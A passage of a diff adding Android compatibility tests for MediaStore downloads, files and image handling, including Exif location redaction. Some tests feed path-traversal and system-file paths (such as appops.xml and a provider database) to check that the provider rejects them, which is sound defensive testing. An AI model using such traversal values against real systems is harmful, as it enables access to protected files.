+            public void onChange(boolean selfChange, Uri uri) {
+                super.onChange(selfChange, uri);
+                mCountDownLatch.countDown();
+            }
+        };
+        mContentResolver.registerContentObserver(mExternalDownloads, true, observer);
+        mContentResolver.registerContentObserver(MediaStore.AUTHORITY_URI, false, observer);
+        final Uri volumeUri = MediaStore.AUTHORITY_URI.buildUpon()
+                .appendPath(mVolumeName)
+                .build();
+        mContentResolver.registerContentObserver(volumeUri, false, observer);
+
+        mCountDownLatch = new CountDownLatch(1);
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                mExternalDownloads, displayName, "video/3gp");
+        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+        params.setDownloadUri(downloadUri);
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        assertNotNull(pendingUri);
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+                 OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        }
+        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+        mCountDownLatch = new CountDownLatch(1);
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Files.FileColumns.MEDIA_TYPE, Files.FileColumns.MEDIA_TYPE_AUDIO);
+        updateValues.put(Downloads.MIME_TYPE, "audio/3gp");
+        assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
+        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+        mCountDownLatch = new CountDownLatch(1);
+        assertEquals(1, mContentResolver.delete(publishUri, null, null));
+        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+    }
+
+    private int getInitialDownloadsCount() {
+        try (Cursor cursor = mContentResolver.query(mExternalDownloads,
+                null, null, null, null)) {
+            return cursor.getCount();
+        }
+    }
+
+    private Uri insertImage(String displayName, String description,
+            File file, String mimeType, int resourceId) throws Exception {
+        file.createNewFile();
+        try (InputStream in = mContext.getResources().openRawResource(resourceId);
+             OutputStream out = new FileOutputStream(file)) {
+            FileUtils.copy(in, out);
+        }
+
+        final ContentValues values = new ContentValues();
+        values.put(Images.Media.DISPLAY_NAME, displayName);
+        values.put(Images.Media.TITLE, displayName);
+        values.put(Images.Media.DESCRIPTION, description);
+        values.put(Images.Media.DATA, file.getAbsolutePath());
+        values.put(Images.Media.DATE_ADDED, System.currentTimeMillis() / 1000);
+        values.put(Images.Media.DATE_MODIFIED, System.currentTimeMillis() / 1000);
+        values.put(Images.Media.MIME_TYPE, mimeType);
+
+        final Uri insertUri = mContentResolver.insert(mExternalImages, values);
+        assertNotNull(insertUri);
+        return insertUri;
+    }
+
+    private void verifyScannedDownload(File file) throws Exception {
+        final Uri mediaStoreUri = ProviderTestUtils.scanFile(file);
+        Log.e(TAG, "Scanned file " + file.getAbsolutePath() + ": " + mediaStoreUri);
+        assertArrayEquals("File hashes should match for " + file + " and " + mediaStoreUri,
+                hash(new FileInputStream(file)),
+                hash(mContentResolver.openInputStream(mediaStoreUri)));
+
+        // Verify the file is part of downloads collection.
+        final long id = ContentUris.parseId(mediaStoreUri);
+        final Cursor cursor = mContentResolver.query(mExternalDownloads,
+                null, MediaStore.Downloads._ID + "=" + id, null, null);
+        assertEquals(1, cursor.getCount());
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
new file mode 100644
index 0000000..757766e
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
@@ -0,0 +1,347 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.containsId;
+import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Files.FileColumns;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.IOException;
+
+@RunWith(Parameterized.class)
+public class MediaStore_FilesTest {
+    private Context mContext;
+    private ContentResolver mResolver;
+
+    private Uri mExternalImages;
+    private Uri mExternalFiles;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+        mExternalFiles = MediaStore.Files.getContentUri(mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() throws Exception {
+        Uri allFilesUri = mExternalFiles;
+
+        ContentValues values = new ContentValues();
+
+        // Add a path for a file and check that the returned uri appends a
+        // path properly.
+        String dataPath = new File(ProviderTestUtils.stageDir(mVolumeName),
+                "does_not_really_exist.txt").getAbsolutePath();
+        values.put(MediaColumns.DATA, dataPath);
+        Uri fileUri = mResolver.insert(allFilesUri, values);
+        long fileId = ContentUris.parseId(fileUri);
+        assertEquals(fileUri, ContentUris.withAppendedId(allFilesUri, fileId));
+
+        // Check that getContentUri with the file id produces the same url
+        Uri rowUri = ContentUris.withAppendedId(mExternalFiles, fileId);
+        assertEquals(fileUri, rowUri);
+
+        // Check that the file count has increased.
+        assertTrue(containsId(allFilesUri, fileId));
+
+        // Check that the path we inserted was stored properly.
+        assertStringColumn(fileUri, MediaColumns.DATA, dataPath);
+
+        // Update the path and check that the database changed.
+        String updatedPath = new File(ProviderTestUtils.stageDir(mVolumeName),
+                "still_does_not_exist.txt").getAbsolutePath();
+        values.put(MediaColumns.DATA, updatedPath);
+        assertEquals(1, mResolver.update(fileUri, values, null, null));
+        assertStringColumn(fileUri, MediaColumns.DATA, updatedPath);
+
+        // check that inserting a duplicate entry fails
+        Uri foo = mResolver.insert(allFilesUri, values);
+        assertNull(foo);
+
+        // Delete the file and observe that the file count decreased.
+        assertEquals(1, mResolver.delete(fileUri, null, null));
+        assertFalse(containsId(allFilesUri, fileId));
+
+        // Make sure the deleted file is not returned by the cursor.
+        Cursor cursor = mResolver.query(fileUri, null, null, null, null);
+        try {
+            assertFalse(cursor.moveToNext());
+        } finally {
+            cursor.close();
+        }
+
+        // insert file and check its parent
+        values.clear();
+        try {
+            File stageDir = new File(ProviderTestUtils.stageDir(mVolumeName),
+                    Environment.DIRECTORY_MUSIC);
+            stageDir.mkdirs();
+            String b = stageDir.getAbsolutePath();
+            values.put(MediaColumns.DATA, b + "/testing" + System.nanoTime());
+            fileUri = mResolver.insert(allFilesUri, values);
+            cursor = mResolver.query(fileUri, new String[] { MediaStore.Files.FileColumns.PARENT },
+                    null, null, null);
+            assertEquals(1, cursor.getCount());
+            cursor.moveToFirst();
+            long parentid = cursor.getLong(0);
+            assertTrue("got 0 parent for non root file", parentid != 0);
+
+            cursor.close();
+            cursor = mResolver.query(ContentUris.withAppendedId(allFilesUri, parentid),
+                    new String[] { MediaColumns.DATA }, null, null, null);
+            assertEquals(1, cursor.getCount());
+            cursor.moveToFirst();
+            String parentPath = cursor.getString(0);
+            assertEquals(b, parentPath);
+
+            mResolver.delete(fileUri, null, null);
+        } catch (IOException e) {
+            fail(e.getMessage());
+        } finally {
+            cursor.close();
+        }
+
+        assertEquals(ContentUris.withAppendedId(MediaStore.Files.getContentUri(mVolumeName), 42),
+                MediaStore.Files.getContentUri(mVolumeName, 42));
+    }
+
+    @Test
+    public void testCaseSensitivity() throws IOException {
+        final String name = "Test-" + System.nanoTime() + ".Mp3";
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File file = new File(dir, name);
+        final File fileLower = new File(dir, name.toLowerCase());
+        ProviderTestUtils.stageFile(R.raw.testmp3, file);
+
+        Uri allFilesUri = mExternalFiles;
+        ContentValues values = new ContentValues();
+        values.put(MediaColumns.DATA, fileLower.getAbsolutePath());
+        Uri fileUri = mResolver.insert(allFilesUri, values);
+        try {
+            ParcelFileDescriptor pfd = mResolver.openFileDescriptor(fileUri, "r");
+            pfd.close();
+        } finally {
+            mResolver.delete(fileUri, null, null);
+        }
+    }
+
+    @Test
+    public void testAccessInternal() throws Exception {
+        final Uri internalFiles = MediaStore.Files.getContentUri(MediaStore.VOLUME_INTERNAL);
+
+        for (String valid : new String[] {
+                "/system/media/" + System.nanoTime() + ".ogg",
+        }) {
+            final ContentValues values = new ContentValues();
+            values.put(MediaColumns.DATA, valid);
+
+            final Uri uri = mResolver.insert(internalFiles, values);
+            assertNotNull(valid, uri);
+            mResolver.delete(uri, null, null);
+        }
+
+        for (String invalid : new String[] {
+                "/data/media/" + System.nanoTime() + ".jpg",
+                "/data/system/appops.xml",
+                "/data/data/com.android.providers.media/databases/internal.db",
+                new File(Environment.getExternalStorageDirectory(), System.nanoTime() + ".jpg")
+                        .getAbsolutePath(),
+        }) {
+            final ContentValues values = new ContentValues();
+            values.put(MediaColumns.DATA, invalid);
+            assertNull(invalid, mResolver.insert(internalFiles, values));
+        }
+    }
+
+    @Test
+    public void testAccess() throws Exception {
+        final String path = MediaStore.getVolumePath(resolveVolumeName(mVolumeName))
+                .getAbsolutePath();
+        final Uri updateUri = ContentUris.withAppendedId(mExternalFiles,
+                ContentUris.parseId(ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages)));
+
+        for (String valid : new String[] {
+                path + "/" + System.nanoTime() + ".jpg",
+                path + "/DCIM/" + System.nanoTime() + ".jpg",
+        }) {
+            final ContentValues values = new ContentValues();
+            values.put(MediaColumns.DATA, valid);
+
+            final Uri uri = mResolver.insert(mExternalFiles, values);
+            assertNotNull(valid, uri);
+            mResolver.delete(uri, null, null);
+
+            final int count = mResolver.update(updateUri, values, null, null);
+            assertEquals(valid, 1, count);
+        }
+
+        for (String invalid : new String[] {
+                "/data/media/" + System.nanoTime() + ".jpg",
+                "/data/system/appops.xml",
+                "/data/data/com.android.providers.media/databases/internal.db",
+                path + "/../../../../../data/system/appops.xml",
+        }) {
+            final ContentValues values = new ContentValues();
+            values.put(MediaColumns.DATA, invalid);
+
+            try {
+                assertNull(invalid, mResolver.insert(mExternalFiles, values));
+            } catch (SecurityException tolerated) {
+            }
+
+            try {
+                assertEquals(invalid, 0, mResolver.update(updateUri, values, null, null));
+            } catch (SecurityException tolerated) {
+            }
+        }
+    }
+
+    @Test
+    public void testUpdateMediaType() throws Exception {
+        final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
+                "test" + System.nanoTime() + ".mp3");
+        ProviderTestUtils.stageFile(R.raw.testmp3, file);
+
+        Uri allFilesUri = mExternalFiles;
+        ContentValues values = new ContentValues();
+        values.put(MediaColumns.DATA, file.getAbsolutePath());
+        values.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_AUDIO);
+        Uri fileUri = mResolver.insert(allFilesUri, values);
+
+        // There is special logic in MediaProvider#update() to update paths when a folder was moved
+        // or renamed. It only checks whether newValues only has one column but assumes the provided
+        // column is _data. We need to guard the case where there is only one column in newValues
+        // and it's not _data.
+        ContentValues newValues = new ContentValues(1);
+        newValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_NONE);
+        mResolver.update(fileUri, newValues, null, null);
+
+        try (Cursor c = mResolver.query(
+                fileUri, new String[] { FileColumns.MEDIA_TYPE }, null, null, null)) {
+            c.moveToNext();
+            assertEquals(FileColumns.MEDIA_TYPE_NONE,
+                    c.getInt(c.getColumnIndex(FileColumns.MEDIA_TYPE)));
+        }
+    }
+
+    @Test
+    public void testDateAddedFrozen() throws Exception {
+        final long startTime = (System.currentTimeMillis() / 1000);
+        final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
+                "test" + System.nanoTime() + ".mp3");
+        ProviderTestUtils.stageFile(R.raw.testmp3, file);
+
+        final ContentValues values = new ContentValues();
+        values.put(MediaColumns.DATA, file.getAbsolutePath());
+        values.put(MediaColumns.DATE_ADDED, 32);
+        final Uri uri = mResolver.insert(mExternalFiles, values);
+
+        assertTrue(queryLong(uri, MediaColumns.DATE_ADDED) >= startTime);
+
+        values.clear();
+        values.put(MediaColumns.DATE_ADDED, 64);
+        mResolver.update(uri, values, null, null);
+
+        assertTrue(queryLong(uri, MediaColumns.DATE_ADDED) >= startTime);
+    }
+
+    @Test
+    public void testInPlaceUpdate_mediaFileWithInvalidRelativePath() throws Exception {
+        final File file = new File(ProviderTestUtils.stageDownloadDir(mVolumeName),
+                "test" + System.nanoTime() + ".jpg");
+        ProviderTestUtils.stageFile(R.raw.scenery, file);
+        Log.d(TAG, "Staged image file at " + file.getAbsolutePath());
+
+        final ContentValues insertValues = new ContentValues();
+        insertValues.put(MediaColumns.DATA, file.getAbsolutePath());
+        insertValues.put(MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
+        final Uri uri = mResolver.insert(mExternalImages, insertValues);
+        assertEquals(0, queryLong(uri, MediaStore.Images.ImageColumns.IS_PRIVATE));
+        assertStringColumn(uri, MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
+
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_IMAGE);
+        updateValues.put(FileColumns.MIME_TYPE, "image/jpeg");
+        updateValues.put(MediaStore.Images.ImageColumns.IS_PRIVATE, 1);
+        int updateRows = mResolver.update(uri, updateValues, null, null);
+        assertEquals(1, updateRows);
+        // Only interested in update not throwing exception. No need in checking whenever values
+        // were actually updates, as it is not in the scope of this test.
+    }
+
+    private long queryLong(Uri uri, String columnName) {
+        try (Cursor c = mResolver.query(uri, new String[] { columnName }, null, null, null)) {
+            assertTrue(c.moveToFirst());
+            return c.getLong(0);
+        }
+    }
+
+    private String queryString(Uri uri, String columnName) {
+        try (Cursor c = mResolver.query(uri, new String[] { columnName }, null, null, null)) {
+            assertTrue(c.moveToFirst());
+            return c.getString(0);
+        }
+    }
+
+    private void assertStringColumn(Uri fileUri, String columnName, String expectedValue) {
+        assertEquals(expectedValue, queryString(fileUri, columnName));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
new file mode 100644
index 0000000..da10f33
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -0,0 +1,592 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.AppOpsManager;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.media.ExifInterface;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.storage.StorageManager;
+import android.provider.BaseColumns;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Images.ImageColumns;
+import android.provider.MediaStore.Images.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.HashSet;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Images_MediaTest {
+    private static final String MIME_TYPE_JPEG = "image/jpeg";
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    private Uri mExternalImages;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+    }
+
+    @Test
+    public void testInsertImageWithImagePath() throws Exception {
+        // TODO: expand test to verify paths from secondary storage devices
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+        final long unique1 = System.nanoTime();
+        final String TEST_TITLE1 = "Title " + unique1;
+
+        final long unique2 = System.nanoTime();
+        final String TEST_TITLE2 = "Title " + unique2;
+
+        Cursor c = Media.query(mContentResolver, mExternalImages, null, null,
+                "_id ASC");
+        int previousCount = c.getCount();
+        c.close();
+
+        // insert an image by path
+        File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
+                "mediaStoreTest1.jpg");
+        String path = file.getAbsolutePath();
+        ProviderTestUtils.stageFile(R.raw.scenery, file);
+        String stringUrl = null;
+        try {
+            stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE1, null);
+        } catch (FileNotFoundException e) {
+            fail(e.getMessage());
+        } catch (UnsupportedOperationException e) {
+            // the tests will be aborted because the image will be put in sdcard
+            fail("There is no sdcard attached! " + e.getMessage());
+        }
+        assertInsertionSuccess(stringUrl);
+
+        // insert another image by path
+        file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
+                "mediaStoreTest2.jpg");
+        path = file.getAbsolutePath();
+        ProviderTestUtils.stageFile(R.raw.scenery, file);
+        stringUrl = null;
+        try {
+            stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE2, null);
+        } catch (FileNotFoundException e) {
+            fail(e.getMessage());
+        } catch (UnsupportedOperationException e) {
+            // the tests will be aborted because the image will be put in sdcard
+            fail("There is no sdcard attached! " + e.getMessage());
+        }
+        assertInsertionSuccess(stringUrl);
+
+        // query the newly added image
+        c = Media.query(mContentResolver, Uri.parse(stringUrl),
+                new String[] { Media.TITLE, Media.DESCRIPTION, Media.MIME_TYPE });
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(TEST_TITLE2, c.getString(c.getColumnIndex(Media.TITLE)));
+        assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+        c.close();
+
+        // query all the images in external db and order them by descending id
+        // (make the images added in test case in the first positions)
+        c = Media.query(mContentResolver, mExternalImages,
+                new String[] { Media.TITLE, Media.DESCRIPTION, Media.MIME_TYPE }, null,
+                "_id DESC");
+        assertEquals(previousCount + 2, c.getCount());
+        c.moveToFirst();
+        assertEquals(TEST_TITLE2, c.getString(c.getColumnIndex(Media.TITLE)));
+        assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+        c.moveToNext();
+        assertEquals(TEST_TITLE1, c.getString(c.getColumnIndex(Media.TITLE)));
+        assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+        c.close();
+
+        // query the second image added in the test
+        c = Media.query(mContentResolver, Uri.parse(stringUrl),
+                new String[] { Media.DESCRIPTION, Media.MIME_TYPE }, Media.TITLE + "=?",
+                new String[] { TEST_TITLE2 }, "_id ASC");
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+        c.close();
+    }
+
+    @Test
+    public void testInsertImageWithBitmap() throws Exception {
+        final long unique3 = System.nanoTime();
+        final String TEST_TITLE3 = "Title " + unique3;
+        final String TEST_DESCRIPTION3 = "Description " + unique3;
+
+        // insert the image by bitmap
+        Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
+        String stringUrl = null;
+        try{
+            stringUrl = Media.insertImage(mContentResolver, src, TEST_TITLE3, TEST_DESCRIPTION3);
+        } catch (UnsupportedOperationException e) {
+            // the tests will be aborted because the image will be put in sdcard
+            fail("There is no sdcard attached! " + e.getMessage());
+        }
+        assertInsertionSuccess(stringUrl);
+
+        Cursor c = Media.query(mContentResolver, Uri.parse(stringUrl), new String[] { Media.DATA },
+                null, "_id ASC");
+        c.moveToFirst();
+        // get the bimap by the path
+        Bitmap result = Media.getBitmap(mContentResolver,
+                    Uri.fromFile(new File(c.getString(c.getColumnIndex(Media.DATA)))));
+
+        // can not check the identity between the result and source bitmap because
+        // source bitmap is compressed before it is saved as result bitmap
+        assertEquals(src.getWidth(), result.getWidth());
+        assertEquals(src.getHeight(), result.getHeight());
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
+                null));
+        c.close();
+        assertNotNull(c = mContentResolver.query(Media.getContentUri(mVolumeName), null, null, null,
+                null));
+        c.close();
+
+        assertEquals(ContentUris.withAppendedId(Media.getContentUri(mVolumeName), 42),
+                Media.getContentUri(mVolumeName, 42));
+    }
+
+    private void cleanExternalMediaFile(String path) {
+        mContentResolver.delete(mExternalImages, "_data=?", new String[] { path });
+        new File(path).delete();
+    }
+
+    @Test
+    public void testStoreImagesMediaExternal() throws Exception {
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File file = ProviderTestUtils.stageFile(R.raw.scenery,
+                new File(dir, "cts" + System.nanoTime() + ".jpg"));
+
+        final String externalPath = file.getAbsolutePath();
+        final long numBytes = file.length();
+
+        ProviderTestUtils.waitUntilExists(file);
+
+        ContentValues values = new ContentValues();
+        values.put(Media.ORIENTATION, 0);
+        values.put(Media.PICASA_ID, 0);
+        long dateTaken = System.currentTimeMillis();
+        values.put(Media.DATE_TAKEN, dateTaken);
+        values.put(Media.DESCRIPTION, "This is a image");
+        values.put(Media.IS_PRIVATE, 1);
+        values.put(Media.MINI_THUMB_MAGIC, 0);
+        values.put(Media.DATA, externalPath);
+        values.put(Media.DISPLAY_NAME, file.getName());
+        values.put(Media.MIME_TYPE, "image/jpeg");
+        values.put(Media.SIZE, numBytes);
+        values.put(Media.TITLE, "testimage");
+        long dateAdded = System.currentTimeMillis() / 1000;
+        values.put(Media.DATE_ADDED, dateAdded);
+        long dateModified = System.currentTimeMillis() / 1000;
+        values.put(Media.DATE_MODIFIED, dateModified);
+
+        // insert
+        Uri uri = mContentResolver.insert(mExternalImages, values);
+        assertNotNull(uri);
+
+        try {
+            // query
+            Cursor c = mContentResolver.query(uri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            long id = c.getLong(c.getColumnIndex(Media._ID));
+            assertTrue(id > 0);
+            assertEquals(0, c.getInt(c.getColumnIndex(Media.ORIENTATION)));
+            assertEquals(0, c.getLong(c.getColumnIndex(Media.PICASA_ID)));
+            assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
+            assertEquals("This is a image",
+                    c.getString(c.getColumnIndex(Media.DESCRIPTION)));
+            assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
+            assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
+            assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
+            assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+            assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+            assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
+            assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
+            long realDateAdded = c.getLong(c.getColumnIndex(Media.DATE_ADDED));
+            assertTrue(realDateAdded >= dateAdded);
+            // there can be delay as time is read after creation
+            assertTrue(Math.abs(dateModified - c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)))
+                       < 5);
+            c.close();
+        } finally {
+            // delete
+            assertEquals(1, mContentResolver.delete(uri, null, null));
+            file.delete();
+        }
+    }
+
+    private void assertInsertionSuccess(String stringUrl) throws IOException {
+        final Uri uri = Uri.parse(stringUrl);
+
+        // check whether the thumbnails are generated
+        try (Cursor c = mContentResolver.query(uri, null, null, null)) {
+            assertEquals(1, c.getCount());
+        }
+
+        assertNotNull(mContentResolver.loadThumbnail(uri, new Size(512, 384), null));
+        assertNotNull(mContentResolver.loadThumbnail(uri, new Size(96, 96), null));
+    }
+
+    /**
+     * This test doesn't hold
+     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
+     * location information should be redacted.
+     */
+    @Test
+    public void testLocationRedaction() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                mExternalImages, displayName, "image/jpeg");
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.lg_g4_iso_800_jpg);
+                 OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        }
+
+        final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
+
+        // Since we own the image, we should be able to see the Exif data that
+        // we ourselves contributed
+        try (InputStream is = mContentResolver.openInputStream(publishUri)) {
+            final ExifInterface exif = new ExifInterface(is);
+            final float[] latLong = new float[2];
+            exif.getLatLong(latLong);
+            assertEquals(53.83451, latLong[0], 0.001);
+            assertEquals(10.69585, latLong[1], 0.001);
+
+            String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
+            assertTrue("Failed to read XMP longitude", xmp.contains("53,50.070500N"));
+            assertTrue("Failed to read XMP latitude", xmp.contains("10,41.751000E"));
+            assertTrue("Failed to read non-location XMP", xmp.contains("LensDefaults"));
+        }
+        // As owner, we should be able to request the original bytes
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+        }
+
+        // Remove ACCESS_MEDIA_LOCATION permission
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
+                            "android.permission.REVOKE_RUNTIME_PERMISSIONS");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            PackageManager packageManager = mContext.getPackageManager();
+            String packageName = mContext.getPackageName();
+            if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
+                    packageName) == PackageManager.PERMISSION_GRANTED) {
+                mContext.getPackageManager().updatePermissionFlags(
+                        android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
+                mContext.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    dropShellPermissionIdentity();
+        }
+
+        // Now remove ownership, which means that Exif/XMP location data should be redacted
+        ProviderTestUtils.executeShellCommand("content update"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + publishUri + " --bind owner_package_name:n:",
